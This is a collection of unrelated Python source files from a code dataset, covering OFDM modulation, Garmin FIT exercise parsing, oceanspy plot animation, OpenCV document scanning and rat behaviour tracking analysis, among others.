\n\n\n","sub_path":"grn_learn/grn_learn/viz.py","file_name":"viz.py","file_ext":"py","file_size_in_byte":5944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"472441551","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 18 15:21:00 2019\n\n@author: nr29\n\"\"\"\n\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nfrom scipy import signal \nfrom sympy.combinatorics.graycode import GrayCode\nimport random\nimport functions\n\ndef modulate(inputSymbols):\n # OFDM modulation for input signal x\n K = 64 #subcarriers\n subs = np.arange(K)\n #zeroSubs = np.array([0,1,2,3,4,5,32,60,61,62,63,64])\n subs[1] = 0\n subs[2] = 0\n subs[3] = 0\n subs[4] = 0\n subs[5] = 0\n subs[32] = 0\n subs[60] = 0\n subs[61] = 0\n subs[62] = 0\n subs[63] = 0\n subs[59] = 0\n #print(subs)\n dataSubs = subs[subs != 0]\n # inputSymbols is the symbols from another modulation scheme (dqpsk for instance) from another function\n OFDMsymbol = np.zeros(K, dtype=complex) # the overall K subcarriers\n #OFDMsymbol[pilotCarriers] = pilotValue # allocate the pilot subcarriers \n OFDMsymbol[dataSubs] = inputSymbols # allocate the pilot subcarriers\n return OFDMsymbol\n\n# =============================================================================\n# L = 1000 # length of binary signal\n# sig = np.random.randint(0, 2, L) # generate random msg bits\n# binarySig = sig # save this for later\n# #symbols = functions.gen_symbols(sig,('qam',4))\n# symbols = functions.dqpskMod(sig)\n# symbols = symbols[0:64-12]\n# print(symbols[5:10])\n# OFDMsymbols = modulate(symbols)\n# print(OFDMsymbols[5:10])\n# # perform ifft of OFDM data\n# \n# iSamps = np.real(OFDMsymbols)#[70:3000])#[70:])\n# qSamps = np.imag(OFDMsymbols)#[70:3000])#[70:])\n# plt.scatter(iSamps,qSamps)\n# plt.title('Received Signal Constellation')\n# plt.show()\n# =============================================================================\n","sub_path":"Lab6/OFDM.py","file_name":"OFDM.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"149295191","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 2 16:26:17 2020\n\n@author: iant\n\"\"\"\nimport os\n\nfrom nomad_obs.config.constants import MRO_OVERLAP_LATLON_CONSTRAINT, MRO_OVERLAP_LST_CONSTRAINT\n\n\ndef getMroOverlaps(paths):\n \"\"\"read in list of orbits from MRO overlap summary files\"\"\"\n \n dir_name = \"%ideg_latlon_%imin_LST\" %(MRO_OVERLAP_LATLON_CONSTRAINT, MRO_OVERLAP_LST_CONSTRAINT)\n\n with open(os.path.join(paths[\"SUMMARY_FILE_PATH\"], dir_name, \"TGO_AND_MRO_OVERLAP_IN_ONE_MTP_%ideg.txt\" %MRO_OVERLAP_LATLON_CONSTRAINT)) as f:\n lines = f.readlines()\n \n overlap_orbit_numbers = []\n for line in lines[1:]:\n line_split = line.strip().split(\",\")\n overlap_orbit_numbers.append(int(line_split[2])) #orbits start at 1 in the dictionary list\n\n return overlap_orbit_numbers\n\n\n\n\n\n# mroOverlapOrbits = getMroOverlaps(paths)\n","sub_path":"nomad_obs/io/read_mro_overlap_file.py","file_name":"read_mro_overlap_file.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"10097103","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n#sabu\r\nif __name__ == \"__main__\":\r\n #get number of tests \r\n testcases = int(input()) \r\n #for each testcase\r\n for caseNr in range(1, testcases+1):\r\n #get inputs\r\n K, C, S = [int(x) for x in input().split()]\r\n #logic for small set (S=K)\r\n tiles = []\r\n #tile index\r\n cm = 0\r\n #degenerated number of tiles after C cycles\r\n kp = K**(C-1)\r\n for i in range(S): \r\n tiles.append(cm+1) \r\n cm += kp \r\n print(\"Case #%i:\" % (caseNr), ' '.join(map(str, tiles))) \r\n","sub_path":"codes/CodeJamCrawler/16_0_4/sabun/fractiles-old.py","file_name":"fractiles-old.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"456050297","text":"\"\"\"\nModule containing function to read Garmin FIT formatted exercise file and\nreturn either summary, lap data and point data or just point data depending on\nreturn_point_data_only logical variable.\n\"\"\"\n\nimport os\nimport datetime as dt\nimport pandas as pd\nfrom fitparse import FitFile\n# from geopy.geocoders import GoogleV3\nfrom likely_activity import likely_activity\n\n# GEOLOCATOR = GoogleV3()\n\n\ndef read_fit_exercise_file(exercise_filename,\n source_dir_filename,\n return_point_data_only=False,\n verbose=False):\n \"\"\"\n Function to read Garmin FIT formatted exercise file and return either\n summary, lap data and point data or just point data depending on\n return_point_data_only logical variable.\n \"\"\"\n if verbose:\n pass # for future use\n fitfile = FitFile(source_dir_filename)\n ex_sum = pd.Series()\n\n lap_data = pd.DataFrame()\n point_data = pd.DataFrame()\n all_data = pd.DataFrame()\n\n # aFitRecord = pd.DataFrame()\n\n # Get all data messages that are of type record\n # for record in fitfile.get_messages():\n for record in fitfile.get_messages('record'):\n # Go through all the data entries in this record\n # someFitData = record.get_values()\n point_data = point_data.append(record.get_values(), ignore_index=True)\n\n if not return_point_data_only:\n for record in fitfile.get_messages('lap'):\n lap_data = lap_data.append(record.get_values(), ignore_index=True)\n\n for record in fitfile.get_messages(): # Get all data\n all_data = all_data.append(record.get_values(), ignore_index=True)\n\n try:\n ex_sum['Activity_Type'] = lap_data.iloc[0]['sport'].title()\n except KeyError:\n try:\n ex_sum['Activity_Type'] = (\n likely_activity(point_data['speed'].mean()))\n except KeyError:\n ex_sum['Activity_Type'] = 'Unknown'\n\n # Clean-up data\n # Convert timestamp to datetime in local timezone\n # this doesn't seem to be necessary using get_values() method\n # aFitRecord['datetime'] = (\n # aFitRecord['timestamp'].apply(lambda x:\n # (datetime.datetime.fromtimestamp(x/1e9))))\n\n # Convert Latitude and Longitude to degrees\n if 'position_lat' in point_data.columns:\n point_data['latitude'] = point_data['position_lat']*180/2147483648\n if 'position_long' in point_data.columns:\n point_data['longitude'] = point_data['position_long']*180/2147483648\n\n for a_col in ['unknown_53', 'unknown_88', 'position_lat', 'position_long']:\n if a_col in point_data.columns:\n point_data.drop(a_col, axis=1, inplace=True)\n\n # point_data = point_data.loc[:, ['timestamp', 'distance', 'heart_rate',\n # 'altitude', 'latitude', 'longitude',\n # 'speed']]\n\n if not return_point_data_only:\n for a_col in ['event_group', 'event_type', 'intensity',\n 'message_index', 'unknown_27', 'unknown_28',\n 'unknown_29', 'unknown_30', 'unknown_72',\n 'unknown_77', 'unknown_78', 'unknown_79',\n 'unknown_80', 'unknown_81', 'unknown_82',\n 'wkt_step_index']:\n if a_col in lap_data.columns:\n lap_data.drop(a_col, axis=1, inplace=True)\n\n try:\n ex_sum[\"Activity_ID\"] = (\n dt.datetime.strftime(point_data.iloc[0]['timestamp'],\n \"%Y-%m-%dT%H:%M:%S.000Z\"))\n except KeyError:\n ex_sum[\"Activity_ID\"] = exercise_filename\n\n # ex_sum[\"Notes\"] = \"\" #????\n\n ex_sum['Creator_ProductID'] = int(all_data.iloc[0]['garmin_product'])\n if ex_sum['Creator_ProductID'] == 2431:\n ex_sum[\"Creator_Name\"] = \"Garmin Forerunner 235\"\n elif ex_sum['Creator_ProductID'] == 1967:\n ex_sum[\"Creator_Name\"] = \"Garmin Fenix 2\"\n elif ex_sum['Creator_ProductID'] in [717, 987]:\n ex_sum[\"Creator_Name\"] = \"Garmin Forerunner 405\"\n elif ex_sum['Creator_ProductID'] in [1018, 1446]:\n ex_sum[\"Creator_Name\"] = \"Garmin Forerunner 310XT\"\n else:\n ex_sum[\"Creator_Name\"] = \"Unknown\"\n\n # Retitle and filter Lap Data to match what is recieved from TCX Files\n lap_data = lap_data.rename(columns={'total_calories': 'Calories',\n 'total_distance': 'Distance',\n 'total_elapsed_time': 'Duration',\n 'avg_heart_rate': 'Heart_Rate_Avg',\n 'max_heart_rate': 'Heart_Rate_Max',\n 'start_time': 'LapStartTime',\n 'avg_speed': 'Speed_Avg',\n 'max_speed': 'Speed_Max',\n 'lap_trigger': 'TriggerMethod'})\n\n if return_point_data_only:\n return point_data\n else:\n return ex_sum, lap_data, point_data\n\n\nif __name__ == '__main__':\n # aTestFitFileName = 'ExerciseData/Jefferies_Paul_2016_11_14_13_19_21.wko'\n EXERCISE_FILENAME = '74CG1737.FIT'\n EX_FILE_PATH = 'ExerciseData'\n SOURCE_DIR_FILENAME = os.path.join(EX_FILE_PATH, EXERCISE_FILENAME)\n\n \"\"\"\n ex_sum, lap_data, point_data = readFITExerciseFile(exerciseFilename,\n sourceDirFilename,\n verbose=True,\n returnPointDataOnly=False)\n POINT_DATA = read_fit_exercise_file(exercise_filename=EXERCISE_FILENAME,\n source_dir_filename=SOURCE_DIR_FILENAME,\n verbose=True,\n return_point_data_only=True)\n \"\"\"\n\n EX_SUM, LAP_DATA, POINT_DATA = read_fit_exercise_file(\n exercise_filename=EXERCISE_FILENAME,\n source_dir_filename=SOURCE_DIR_FILENAME,\n verbose=True,\n return_point_data_only=False)\n\n # aTestFitCSVFileName = aTestFitFileName + \".csv\"\n\n # aFitRecord.to_csv(path_or_buf=aTestFitCSVFileName)\n","sub_path":"read_fit_exercise_file.py","file_name":"read_fit_exercise_file.py","file_ext":"py","file_size_in_byte":6389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"559984241","text":"import xarray as _xr\nimport numpy as _np\nimport warnings as _warnings\nimport oceanspy as _ospy\nimport functools as _functools\n\nfrom . import compute as _compute\nfrom . import plot as _plot\n\ntry:\n import matplotlib as _matplotlib\n _matplotlib.use('agg')\n import matplotlib.pyplot as _plt\n from matplotlib.animation import FuncAnimation as _FuncAnimation\nexcept ImportError: pass\n\ntry:\n from IPython.utils import io as _io\n from IPython.display import HTML as _HTML \n from IPython.display import display as _display\nexcept ImportError: pass\n\ntry:\n from tqdm import tqdm as _tqdm\nexcept ImportError: pass\n\ndef _create_animation(od, time, plot_func, func_kwargs, display, **kwargs):\n \"\"\"\n Create animation using oceanspy plot functions.\n \n Parameters\n ----------\n od: OceanDataset\n oceandataset to check for missing variables\n time: DataArray\n DataArray corresponding to time\n plot_func: function\n Alias referring to the plot function\n func_kwargs:\n Keyword arguments for plot_func\n display: bool\n If True, display the animation\n **kwargs:\n Keyword arguments for matplotlib.animation.FuncAnimation\n \n Returns\n -------\n Animation object\n \n See also\n --------\n subsample.coutout\n \n References\n ----------\n https://matplotlib.org/api/_as_gen/matplotlib.animation.FuncAnimation.html\n \"\"\"\n \n # Check input\n if not isinstance(od, _ospy.OceanDataset):\n raise TypeError('`od` must be OceanDataset')\n \n if not isinstance(time, _xr.DataArray):\n raise TypeError('`time` must be a DataArray')\n elif len(time.dims)!=1:\n raise TypeError('`time` must have one dimension only')\n \n # TODO: check plot function\n \n if not isinstance(func_kwargs, (type(None), dict)):\n raise TypeError('`func_kwargs` must be None or dict')\n \n if not isinstance(display, bool):\n raise TypeError('`display` must be bool')\n \n # Handle kwargs\n if func_kwargs is None: func_kwargs = {}\n\n # Animate function \n def animate(i):\n _plt.clf()\n func_kwargs['cutout_kwargs'] = {'timeRange': time.isel({time.dims[0]: i}).values, 'dropAxes': 'time'}\n with _io.capture_output() as captured:\n plot_func(od, **func_kwargs)\n if 'pbar' in locals(): pbar.update(1)\n \n # Create animation object\n anim = _FuncAnimation(**{'fig': _plt.gcf(), 'func': animate, 'frames': len(time), **kwargs})\n \n # Display\n if display is True:\n pbar = _tqdm(total=len(time))\n _display(_HTML(anim.to_html5_video()))\n pbar.close()\n del pbar\n \n return anim\n\n\ndef vertical_section(od, \n display = True,\n FuncAnimation_kwargs = None, \n **kwargs):\n \n \"\"\"\n Animate vertical section plots.\n \n Parameters\n ----------\n od: OceanDataset\n oceandataset to check for missing variables\n display: bool\n display the animation in the notebook \n FuncAnimation_kwargs: dict\n Keyword arguments from matplotlib.animation.FuncAnimation\n **kwargs:\n Keyword arguments for plot.vertical_section\n \n Returns\n -------\n Animation object\n \n See also\n --------\n plot.vertical_section\n \"\"\"\n \n # Check input\n if not isinstance(od, _ospy.OceanDataset):\n raise TypeError('`od` must be OceanDataset')\n \n if not isinstance(FuncAnimation_kwargs, (dict, type(None))):\n raise TypeError('`FuncAnimation_kwargs` must be dict or None')\n \n # Handle kwargs\n if FuncAnimation_kwargs is None: FuncAnimation_kwargs = {}\n \n # Name of the plot_functions\n plot_func = eval('_plot.vertical_section')\n \n # First cutout and get time\n subsamp_kwargs = kwargs.pop('subsamp_kwargs', None)\n subsampMethod = kwargs.pop('subsampMethod', None)\n if subsamp_kwargs is not None:\n # Subsample first\n if subsampMethod=='mooring_array':\n od = od.subsample.mooring_array(**subsamp_kwargs)\n elif subsampMethod=='survey_stations':\n od = od.subsample.survey_stations(**subsamp_kwargs)\n time = od._ds['time']\n \n # Fix colorbar\n varName = kwargs.pop('varName', None)\n \n # Add missing variables (use private)\n _varName = _compute._rename_aliased(od, varName)\n od = _compute._add_missing_variables(od, _varName)\n\n # Extract color (use public)\n color = od.dataset[varName]\n\n # Create colorbar (stolen from xarray)\n cmap_kwargs = {}\n for par in ['vmin', 'vmax', 'cmap', 'center', 'robust', 'extend', 'levels', 'filled', 'norm']:\n cmap_kwargs[par] = kwargs.pop(par, None)\n cmap_kwargs['plot_data'] = color.values\n cmap_kwargs = _xr.plot.utils._determine_cmap_params(**cmap_kwargs)\n kwargs = {'varName': varName, **kwargs, **cmap_kwargs}\n \n # Pop ax, it doesn't work for animation\n ax = kwargs.pop('ax', None)\n if ax is not None:\n _warnings.warn(\"\\n`ax` can not be provided for animations. \"\n \"This function will use the current axis\", stacklevel=2)\n \n # Animation\n anim = _create_animation(od = od, \n time = time, \n plot_func = plot_func, \n func_kwargs = kwargs, \n display = display, \n **FuncAnimation_kwargs)\n \n return anim\n\n\ndef horizontal_section(od, \n display = True,\n FuncAnimation_kwargs = None, \n **kwargs):\n \n \"\"\"\n Animate horizontal section plots.\n \n Parameters\n ----------\n od: OceanDataset\n oceandataset to check for missing variables\n display: bool\n display the animation in the notebook \n FuncAnimation_kwargs: dict\n Keyword arguments from matplotlib.animation.FuncAnimation\n **kwargs:\n Keyword arguments for plot.horizontal_section\n \n Returns\n -------\n Animation object\n \n See also\n --------\n plot.horizontal_section\n \"\"\"\n \n # Check input\n if not isinstance(od, _ospy.OceanDataset):\n raise TypeError('`od` must be OceanDataset')\n \n if not isinstance(FuncAnimation_kwargs, (dict, type(None))):\n raise TypeError('`FuncAnimation_kwargs` must be dict or None')\n \n # Handle kwargs\n if FuncAnimation_kwargs is None: FuncAnimation_kwargs = {}\n \n # Name of the plot_functions\n plot_func = eval('_plot.horizontal_section')\n \n # First cutout and get time\n cutout_kwargs = kwargs.pop('cutout_kwargs', None)\n if cutout_kwargs is not None: od = od.subsample.cutout(**cutout_kwargs)\n time = od._ds['time']\n \n # Fix colorbar\n varName = kwargs.pop('varName', None)\n \n # Add missing variables (use private)\n _varName = _compute._rename_aliased(od, varName)\n od = _compute._add_missing_variables(od, _varName)\n\n # Extract color (use public)\n color = od.dataset[varName]\n\n # Create colorbar (stolen from xarray)\n cmap_kwargs = {}\n for par in ['vmin', 'vmax', 'cmap', 'center', 'robust', 'extend', 'levels', 'filled', 'norm']:\n cmap_kwargs[par] = kwargs.pop(par, None)\n cmap_kwargs['plot_data'] = color.values\n cmap_kwargs = _xr.plot.utils._determine_cmap_params(**cmap_kwargs)\n kwargs = {'varName': varName, **kwargs, **cmap_kwargs}\n \n # Pop ax, it doesn't work for animation\n ax = kwargs.pop('ax', None)\n if ax is not None:\n _warnings.warn(\"\\n`ax` can not be provided for animations. \"\n \"This function will use the current axis\", stacklevel=2)\n \n # Animation\n anim = _create_animation(od = od, \n time = time, \n plot_func = plot_func, \n func_kwargs = kwargs, \n display = display, \n **FuncAnimation_kwargs)\n \n return anim\n\n\ndef TS_diagram(od, \n display = True,\n FuncAnimation_kwargs = None, \n **kwargs):\n \n \"\"\"\n Animate temperature-salinity diagram.\n \n Parameters\n ----------\n od: OceanDataset\n oceandataset to check for missing variables\n display: bool\n display the animation in the notebook \n FuncAnimation_kwargs: dict\n Keyword arguments from matplotlib.animation.FuncAnimation\n **kwargs:\n Keyword arguments for plot.TS_diagram\n \n Returns\n -------\n Animation object\n \n See also\n --------\n plot.TS_diagram\n \"\"\"\n \n # Check input\n if not isinstance(od, _ospy.OceanDataset):\n raise TypeError('`od` must be OceanDataset')\n \n if not isinstance(FuncAnimation_kwargs, (dict, type(None))):\n raise TypeError('`FuncAnimation_kwargs` must be dict or None')\n \n # Handle kwargs\n if FuncAnimation_kwargs is None: FuncAnimation_kwargs = {}\n \n # Name of the plot_functions\n plot_func = eval('_plot.TS_diagram')\n \n # First cutout and get time\n cutout_kwargs = kwargs.pop('cutout_kwargs', None)\n if cutout_kwargs is not None: od = od.subsample.cutout(**cutout_kwargs)\n time = od._ds['time']\n \n # Check Temp and S\n varList = ['Temp', 'S']\n od = _compute._add_missing_variables(od, varList)\n \n # Fix T and S axes\n Tlim = kwargs.pop('Tlim', None)\n Slim = kwargs.pop('Slim', None)\n if Tlim is None:\n cmap_params = _xr.plot.utils._determine_cmap_params(od._ds['Temp'].values, center=False)\n Tlim = [cmap_params['vmin'], cmap_params['vmax']]\n if Slim is None:\n cmap_params = _xr.plot.utils._determine_cmap_params(od._ds['S'].values, center=False)\n Slim = [cmap_params['vmin'], cmap_params['vmax']]\n kwargs['Tlim'] = Tlim\n kwargs['Slim'] = Slim\n \n # Fix density\n dens = kwargs.pop('dens', None)\n if dens is None:\n t, s = _xr.broadcast(_xr.DataArray(_np.linspace(Tlim[0], Tlim[-1], 100), dims= ('t')),\n _xr.DataArray(_np.linspace(Slim[0], Slim[-1], 100), dims= ('s')))\n odSigma0 = _ospy.OceanDataset(_xr.Dataset({'Temp': t, 'S': s})).set_parameters(od.parameters)\n odSigma0 = odSigma0.compute.potential_density_anomaly()\n odSigma0._ds = odSigma0._ds.set_coords(['Temp', 'S'])\n \n # Freezing point\n paramsList = ['tempFrz0', 'dTempFrz_dS']\n params2use = {par:od.parameters[par] for par in od.parameters if par in paramsList}\n tempFrz0 = params2use['tempFrz0']\n dTempFrz_dS = params2use['dTempFrz_dS']\n freez_point = tempFrz0 + odSigma0._ds['S']*dTempFrz_dS\n \n # Extract Density\n dens = odSigma0._ds['Sigma0'].where(odSigma0._ds['Temp']>freez_point)\n kwargs['dens'] = dens\n \n # Fix colorbar\n colorName = kwargs.pop('colorName', None)\n if colorName is not None:\n \n # Add missing variables (use private)\n _colorName = _compute._rename_aliased(od, colorName)\n od = _compute._add_missing_variables(od, _colorName)\n \n # Extract color (use public)\n color = od.dataset[colorName]\n \n # Create colorbar (stolen from xarray)\n cmap_kwargs = kwargs.pop('cmap_kwargs', None)\n if cmap_kwargs is None: cmap_kwargs = {}\n cmap_kwargs['plot_data'] = color.values\n kwargs['cmap_kwargs'] = _xr.plot.utils._determine_cmap_params(**cmap_kwargs)\n kwargs['colorName'] = colorName\n \n # Pop ax, it doesn't work for animation\n ax = kwargs.pop('ax', None)\n if ax is not None:\n _warnings.warn(\"\\n`ax` can not be provided for animations. \"\n \"This function will use the current axis\", stacklevel=2)\n \n # Animation\n anim = _create_animation(od = od, \n time = time, \n plot_func = plot_func, \n func_kwargs = kwargs, \n display = display, \n **FuncAnimation_kwargs)\n \n \n return anim\n \nclass _animateMethdos(object):\n \"\"\"\n Enables use of oceanspy.animate functions as attributes on a OceanDataset.\n For example, OceanDataset.animate.TS_diagram\n \"\"\"\n \n def __init__(self, od):\n self._od = od\n\n @_functools.wraps(TS_diagram)\n def TS_diagram(self, **kwargs):\n return TS_diagram(self._od, **kwargs)\n \n @_functools.wraps(horizontal_section)\n def horizontal_section(self, **kwargs):\n return horizontal_section(self._od, **kwargs)\n \n @_functools.wraps(vertical_section)\n def vertical_section(self, **kwargs):\n return vertical_section(self._od, **kwargs)","sub_path":"oceanspy/animate.py","file_name":"animate.py","file_ext":"py","file_size_in_byte":12932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"219157013","text":"from user.models import UserProfile,card,cardItem\n\ndef getItemsCount(req):\n count = 0\n try:\n user = UserProfile.objects.getUserByUsername(req.user.username)\n except:\n return count\n if user == None:\n return count\n try:\n userCard = user.card_set.get(status=0)\n allItems = userCard.carditem_set.all()\n for item in allItems:\n count += item.quanity\n return count\n except:\n return count","sub_path":"methods/getCardCount.py","file_name":"getCardCount.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"28691152","text":"\r\ntext=\"abcdef\"\r\ntext='abcdef'\r\ntext=\"a large large\\\r\nstring\"\r\nprint(text)\r\n\r\ntext=\"\"\"a large large\r\nlarge\r\nstring\"\"\"\r\nprint(text)\r\n\r\ntext='''a large large\r\n large\r\nstring'''\r\nprint(text)\r\n\r\ntext=str(123)\r\nprint(text, len(text))\r\n\r\nnb=12\r\n\r\ntext=f\"nb is {nb} nb ** 2 is {nb**2}\"\r\nprint(text)\r\n\r\nnb=10/3\r\nname=\"Pierre\"\r\ntext=f\"name is {name[:3]:>10s} nb is {nb:.2f} nb ** 2 is {nb**2:.2f}\"\r\nprint(text)\r\n\r\ntext=\"line1\\n\\n\\tline2\"\r\nprint(text)\r\n\r\npath=\"c:\\temp\\new.txt\"\r\nprint(path)\r\n\r\npath=\"c:\\\\temp\\\\new.txt\"\r\nprint(path)\r\n\r\npath= r\"c:\\temp\\new.txt\" # a raw string\r\nprint(path)\r\n\r\npath=\"c:/temp/new.txt\" \r\nprint(path)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"str1.py","file_name":"str1.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"372335554","text":"import sys\nimport numpy as np\nimport cv2\n\ndef drawROI(img,corners) :\n cpy = img.copy()\n c1 = (192, 192, 255)\n c2 = (128, 128, 255)\n # 모서리 점 좌표에 원 그리기\n for pt in corners :\n cv2.circle(cpy, tuple(pt), 25, c1,-1,cv2.LINE_AA)\n\n # 박스 그려주기\n cv2.line(cpy, tuple(corners[0]), tuple((corners[1])), c2, 2, cv2.LINE_AA)\n cv2.line(cpy, tuple(corners[1]), tuple((corners[2])), c2, 2, cv2.LINE_AA)\n cv2.line(cpy, tuple(corners[2]), tuple((corners[3])), c2, 2, cv2.LINE_AA)\n cv2.line(cpy, tuple(corners[3]), tuple((corners[0])), c2, 2, cv2.LINE_AA)\n dst = cv2.addWeighted(img,0.3,cpy,0.7,0)\n\n return dst\n\ndef onMouse(event,x,y,flags,param):\n global srcQuad, dragFlag, ptOld, src\n\n if event == cv2.EVENT_LBUTTONDOWN :\n for i in range(4) :\n if cv2.norm(srcQuad[i] - (x,y)) < 25 :\n dragFlag[i] = True\n ptOld = (x,y)\n break\n \n if event == cv2.EVENT_LBUTTONUP :\n for i in range(4):\n dragFlag[i] = False\n \n if event == cv2.EVENT_MOUSEMOVE :\n for i in range(4) :\n if dragFlag[i] == True :\n dx = x - ptOld[0]\n dy = y - ptOld[1]\n srcQuad[i] += (dx,dy)\n\n cpy = drawROI(src, srcQuad)\n cv2.imshow('img',cpy)\n ptOld = (x,y)\n break\n\nsrc = cv2.imread('image/scanned.jpg')\n\nif src is None:\n print(\"Image load failed\")\n sys.exit()\n\n\nh,w = src.shape[:2]\ndw = 500\ndh = round(dw * 297 / 210) # A4 용지 크기 : 210x297\n\n# 모서리 점들의 좌표.\nsrcQuad = np.array([(30, 30), (30, h-30),(w-30, h-30),(w-30, 30)], dtype=np.float32)\ndstQuad = np.array([(0, 0), (0, dh-1), (dw-1, dh-1),(dw-1, 0)], dtype=np.float32)\ndragFlag = [False,False,False,False]\n\n\ndst = drawROI(src, srcQuad)\ncv2.imshow('img', dst)\ncv2.setMouseCallback('img', onMouse)\n\nwhile True :\n\n key = cv2.waitKey()\n\n if key == 13 : # Enter\n break\n if key == 27 : # ESC\n cv2.destroyAllWindows()\n sys.exit()\n \npers = cv2.getPerspectiveTransform(srcQuad, dstQuad)\ndst = cv2.warpPerspective(src, pers, (dw,dh))\n\ncv2.imshow('dst', dst)\ncv2.waitKey()\ncv2.destroyAllWindows()\n","sub_path":"04.기하학적 변환/7.practice.py","file_name":"7.practice.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"280668902","text":"import os\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom cached_property import cached_property\nfrom matplotlib import cm\n\nfrom find_shapes.rat_track.moseq import visualise_subunits\n\n\nclass BehaviourStruct(object):\n\n def __init__(self, rat, expdir, track_fname, labels_fname, raw_data_path=None):\n\n self.rat = rat\n\n self.date = expdir.split('/')[-1]\n self.arena_type = 'triangle'\n self.path = expdir\n self.raw_data_path = os.path.join(expdir, raw_data_path)\n self.track_path = os.path.join(expdir, track_fname)\n self.labels_path = os.path.join(expdir, labels_fname)\n self.track = Track(self.track_path)\n\n @cached_property\n def video_data(self):\n if os.path.isfile(self.raw_data_path):\n return np.load(self.raw_data_path)\n print('Warning: there is no video data')\n\n def get_behaviour_frames(self, idx):\n bhv_subunit_idx = self.frequently_occurring_behaviours[idx][0]\n behaviour_all_subunits_video = self.video_data[:, :, bhv_subunit_idx]\n return behaviour_all_subunits_video\n\n def get_composite_video(self, idx):\n all_behaviour_idx = self.frequently_occurring_behaviours[idx][0]\n subunits = self.split_behaviour_idx_into_subunits(all_behaviour_idx)\n subunit_vids = []\n for subunit in subunits:\n subunit_vids.append(self.video_data[:, :, subunit])\n return visualise_subunits.blend_videos(subunit_vids)\n\n @property\n def frequently_occurring_behaviours(self):\n behaviour_frames = get_frequently_occurring_behaviours(self.frame_labels)\n return behaviour_frames\n\n @property\n def behaviour_idx(self):\n return self.frequently_occurring_behaviours.keys()\n\n def get_behaviour_subunit_mask(self, behaviour_idx):\n \"\"\"i.e. indices of all frames during a classified behaviour, organised by reoccurring instances of\n the same behaviour motif/subunit\"\"\"\n all_behaviours = self.frequently_occurring_behaviours\n behaviour_of_interest = all_behaviours[behaviour_idx][0]\n behaviour_subunit_idx = self.split_behaviour_idx_into_subunits(behaviour_of_interest)\n return behaviour_subunit_idx\n\n @staticmethod\n def split_behaviour_idx_into_subunits(behaviour_frames, relative=False):\n mask = np.diff(behaviour_frames) > 1\n absolute_idx = []\n behaviours = []\n behavioural_unit = []\n for i, item in enumerate(mask):\n if item:\n behavioural_unit.append(i)\n if len(behavioural_unit) > 1:\n behaviours.append(behavioural_unit)\n behavioural_unit_absolute = behaviour_frames[behavioural_unit]\n absolute_idx.append(behavioural_unit_absolute)\n behavioural_unit = []\n if not item:\n behavioural_unit.append(i)\n if relative:\n return behaviours\n return absolute_idx\n\n def get_behavioural_subunit_tracks(self, behaviour_subunit_idx):\n \"\"\"\n turn indices into positions\n :param behaviour_subunit_idx:\n :param track:\n :return:\n \"\"\"\n all_behaviour_tracks = []\n for subunit in behaviour_subunit_idx:\n subunit_track = self.track.data[subunit]\n all_behaviour_tracks.append(subunit_track)\n return all_behaviour_tracks\n\n @staticmethod\n def estimate_behaviour_location_from_tracks(behaviour_subunit_tracks):\n behaviour_locations = []\n for track in behaviour_subunit_tracks:\n location = np.mean(track, axis=0)\n behaviour_locations.append(location)\n return behaviour_locations\n\n @property\n def frame_labels(self, n_iterations=400):\n\n if not os.path.isfile(self.labels_path):\n self.determine_labels()\n# np.save(self.labels_path)\n\n return np.load(self.labels_path)[n_iterations-1]\n\n def n_behavioural_subunits(self):\n frequent_behaviours = self.frequently_occurring_behaviours.keys()\n return len(np.unique(frequent_behaviours)[0])\n\n def n_total_detected_unfiltered_subunits(self):\n return len(np.unique(self.frame_labels))\n\n def determine_labels(self):\n pass # TODO: write this function\n\n @staticmethod\n def get_behaviour_subunit_lengths(track_mask):\n return [len(track) for track in track_mask]\n\n def get_all_behaviours_subunit_lengths(self):\n all_behaviour_lengths = []\n for idx in self.behaviour_idx:\n track_mask = self.get_behaviour_subunit_mask(idx)\n lengths = self.get_behaviour_subunit_lengths(track_mask)\n all_behaviour_lengths.extend(lengths)\n return all_behaviour_lengths\n\n\n def plot_all_behaviours(self, save=True):\n for idx in self.behaviour_idx:\n print(idx)\n\n track_mask = self.get_behaviour_subunit_mask(idx)\n tracks = self.get_behavioural_subunit_tracks(track_mask)\n pos = np.array(self.estimate_behaviour_location_from_tracks(tracks))\n\n fig = plt.figure(figsize=(7, 7))\n self.track.plot_track()\n for sub_track in tracks:\n plt.plot(sub_track[:, 1], sub_track[:, 0], color='k')\n plt.scatter(pos[:, 1], pos[:, 0], color='k', zorder=100)\n if save:\n figure_folder_root = os.path.join(self.path + '/figures/')\n if not os.path.isdir(figure_folder_root):\n os.mkdir(figure_folder_root)\n figure_path = '{}/figures/behaviour_subunit_tracks_{}'.format(self.path, idx)\n print('saving figure: {}'.format(figure_path))\n fig.savefig(figure_path)\n else:\n plt.show()\n\n def plot_all_behaviours_same_plot(self):\n fig = plt.figure(figsize=(7, 7))\n self.track.plot_track()\n colors = cm.rainbow(np.linspace(0, 1, self.n_total_detected_unfiltered_subunits()))\n for idx, color in zip(self.behaviour_idx, colors):\n print(idx)\n track_mask = self.get_behaviour_subunit_mask(idx)\n tracks = self.get_behavioural_subunit_tracks(track_mask)\n pos = 